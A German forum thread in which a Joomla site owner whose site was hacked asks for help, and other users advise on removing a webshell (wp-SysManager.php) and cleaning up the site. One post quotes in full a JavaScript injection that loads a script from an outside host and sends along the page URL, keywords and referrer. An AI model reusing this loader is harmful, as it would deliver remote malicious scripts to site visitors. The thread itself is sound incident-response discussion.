Website angeblich gehackt....

    Hallo, habe vom Strato-Hoster 3 Dateien bekommen, die angeblich Schadskripte enthalten.


    Zum einen von dem Modul/Plugin "ckeditor", das ich bereits komplett löschen konnte,
    aber
    ./cli/wp-SysManager.php
    nicht.


    Wollte die Datei downloaden, bringt allerdings vom Viren-Scanner den Fund "PHP/WebShell.R"
    kann mir jemand sagen, ob ich die Datei problemlos entfernen kann bzw. was sie für einen Zweck für Joomla hat....


    Danke

    Willkommen im Forum Stefan.


    1. Wenn deine Website wirklich gehackt wurde sind höchstwahrscheinlich noch weit mehr Dateien verseucht.


    Daher:


    2.
    Mein Joomla wurde gehackt! Was kann ich tun?


    3. Wenn deine ./cli/wp-SysManager.php zum Joomla-Core-3.6.2 gehören würde wäre sie dort auch zu finden:


    https://github.com/joomla/joomla-cms/tree/3.6.2/cli


    4.
    Zur weiteren Untersuchung der Datei wp-SysManager.php kannst du diese auch einfach in wp-SysManager.txt umbenennen.
    Dadurch ist diese Datei nicht mehr "ausführbar" und somit unschädlich aber kann trotzdem noch untersucht werden sofern erforderlich.

    Zitat von Stefan Ziegler

    .... jetzt warte ich die 2. Prüfung durch Strato ab.....


    Du musst dich auch um deine Webseite kümmern. Wenn sie gehackt sein sollte, musst du sie auf jedenfall erstmal vom Netz nehmen:


    https://www.fc-hosting.de/joomla/tips-joomla-gehackt.php


    Dann bereinigen (lassen) oder sauberes Backup einspielen oder neu aufsetzen.
    Strato wird da nichts bereinigen oder neu machen.


    Hatte noch nie eine gehackte Seite (bei Strato), könnte aber sein, dass Strato eventuell die Domain mit dem Schadcode irgendwann sperren könnte.


    Welchen Joomla-Versionsstand hat deine Seite?

    Zitat von Stefan Ziegler

    ich habe sie mal entfernt, da sie im original-Joomla nicht in diesem besagten */cli - Ordner befindet.
    jetzt warte ich die 2. Prüfung durch Strato ab.....


    Hast du schon mal eine echte Grippe gehabt mit hohem Fieber ?
    Da nutzt es etwa genausoviel 3 einzelne Viren bei einer echten Grippe mit Fieber zu töten wie das was du im Moment mit deiner Website machst !

    Läuft noch mehr als die Joomla Installation auf dem Webspace?


    Auf jeden Fall solltest du im Strato Kundenbereich unter Sicherheit -> SiteGuard das Logging von Zugriffen aktivieren (dynamische, Cache Verzeichnisse ggf. ausschließen).
    So bekommst du weitere Bewegungen im Dateisystem direkt mit und kannst entspr. reagieren.


    Gruß


    Pascal

    Backup hab ich ja keins gemacht, das ist mein Problem.
    Habs gefunden, ist eine java-script-malware.
    Nur wie bekomme ich sie wieder heraus?


    <script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://www.liberal-co.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'J18171' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>


    (Dieser Code ist in jedem Seiten-Quelltext sichtbar)

    Die JS Injection kannst du einfach löschen.


    Wenn du die übrigen Hinterlassenschaften/Backdoors nicht vollständig entfernt hast, wird die jedoch wieder drin landen.
    Hab am Wochenende einen Hack bearbeitet, da gab es die wp-SysManager.php (FilesMan Webshell) ebenfalls.
    Zudem noch knapp 25 weitere Schaddateien.


    Durchsuche mal alle Dateien nach $GLOBALS[
    um einen ersten Eindruck zu bekommen.


    Gruß


    Pascal

    Das alleine wird nicht helfen, da sich ein Script in deiner Installation befindet, welches diesen Schadcode in jegliche Datei schreiben kann. Solange du das nicht gefunden hast (es würde mich nicht wundern, wenn es das einzige Script dieser Art ist), ist deine Seite weiterhin kompromitierbar. Nur eine Frage der Zeit, bis Dateien wieder gehackt werden.

    Zitat von Stefan Ziegler

    Danke Pascal, habe die JS-Injection aus dem Template index.php herausgelöscht.


    Und du meinst tatsächlich das reicht?
    Ist wenigstens die Seite vom Netz genommen oder ist Deine Rechtschutz so gut, um Schäden bei Dritten (also Deinen Besuchern) durch beispielsweise Ransomware oder andere Trojaner, die Deine Seite eventuell verteilt, abzudecken?